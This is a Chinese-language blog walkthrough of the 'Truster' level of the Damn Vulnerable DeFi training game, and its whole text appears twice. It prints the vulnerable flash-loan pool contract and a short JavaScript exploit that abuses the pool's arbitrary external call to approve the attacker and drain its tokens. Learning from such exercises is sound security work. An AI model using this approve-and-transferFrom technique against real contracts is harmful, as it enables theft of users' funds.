Subscribe to halo92.eth
Subscribe to halo92.eth
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
Damn Vulnerable DeFi是一个用于学习DeFi漏洞的闯关游戏,比起CTF来说,Damn Vulnerable DeFi更接近真实漏洞场景。
题目地址:
https://www.damnvulnerabledefi.xyz/index.html
使用方法:
克隆仓库并切换到v2.1.0分支
使用yarn安装Node依赖
test文件夹中存放着对应每个题目的*.challenge.js文件来模拟合约的部署和攻击流程,我们需要补全相关代码来完成指定的攻击以跑通该单元测试(使用yarn run challenge-name来验证挑战是否完成)
第一关、第二关相对简单,略过。第三关相对有趣一点。
第三关Truster是一个借贷池子,该池子的floashloan函数可提供闪电贷功能。与常见的闪电贷不同,该函数并非借出贷款给msg.sender,而是可指定borrower。第二点不同就是,可以通过target.functionCall(data);使得该池子对任意合约发起调用。
题目目标:池子内存有100个代币,攻击者持有0个代币,攻击者需要将池子内的代币转移给自己。
题目源码:
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
思考:
想要抽干池子必然通过flashloan实现,那么必然要求该函数内的所有require通过,也就是说调用target.functionCall(data);不能使得池子的代币减少。
这里需要介绍一下ERC20。用户可通过常见的transfer进行自身代币的发送。但是有的情况下,比如当需要交易所完成代币的兑换的时候,这时候就需要第三方代替用户进行转移了,需要首先通过approve获取到用户一定数量代币的转移权限,然后调用transferFrom实现转移。
即下面两个方法:
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) function approve(address _spender, uint256 _value) public returns (bool success) 所以,这里的思路就比较清晰了,在target.functionCall(data); 将池子的权限授权给攻击者,然后攻击者调用transferFrom实现代币转移。
答案如下:
js:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// 构造approve(attacker, amount)的data
const data = this.token.interface.encodeFunctionData("approve", [ attacker.address, TOKENS_IN_POOL ]);
await this.pool.flashLoan(0, attacker.address, this.token.address, data);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});
警示:target.functionCall(data);这样的任意外部调用非常危险。
Damn Vulnerable DeFi是一个用于学习DeFi漏洞的闯关游戏,比起CTF来说,Damn Vulnerable DeFi更接近真实漏洞场景。
题目地址:
https://www.damnvulnerabledefi.xyz/index.html
使用方法:
克隆仓库并切换到v2.1.0分支
使用yarn安装Node依赖
test文件夹中存放着对应每个题目的*.challenge.js文件来模拟合约的部署和攻击流程,我们需要补全相关代码来完成指定的攻击以跑通该单元测试(使用yarn run challenge-name来验证挑战是否完成)
第一关、第二关相对简单,略过。第三关相对有趣一点。
第三关Truster是一个借贷池子,该池子的floashloan函数可提供闪电贷功能。与常见的闪电贷不同,该函数并非借出贷款给msg.sender,而是可指定borrower。第二点不同就是,可以通过target.functionCall(data);使得该池子对任意合约发起调用。
题目目标:池子内存有100个代币,攻击者持有0个代币,攻击者需要将池子内的代币转移给自己。
题目源码:
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
思考:
想要抽干池子必然通过flashloan实现,那么必然要求该函数内的所有require通过,也就是说调用target.functionCall(data);不能使得池子的代币减少。
这里需要介绍一下ERC20。用户可通过常见的transfer进行自身代币的发送。但是有的情况下,比如当需要交易所完成代币的兑换的时候,这时候就需要第三方代替用户进行转移了,需要首先通过approve获取到用户一定数量代币的转移权限,然后调用transferFrom实现转移。
即下面两个方法:
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) function approve(address _spender, uint256 _value) public returns (bool success) 所以,这里的思路就比较清晰了,在target.functionCall(data); 将池子的权限授权给攻击者,然后攻击者调用transferFrom实现代币转移。
答案如下:
js:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// 构造approve(attacker, amount)的data
const data = this.token.interface.encodeFunctionData("approve", [ attacker.address, TOKENS_IN_POOL ]);
await this.pool.flashLoan(0, attacker.address, this.token.address, data);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});
警示:target.functionCall(data);这样的任意外部调用非常危险。
No activity yet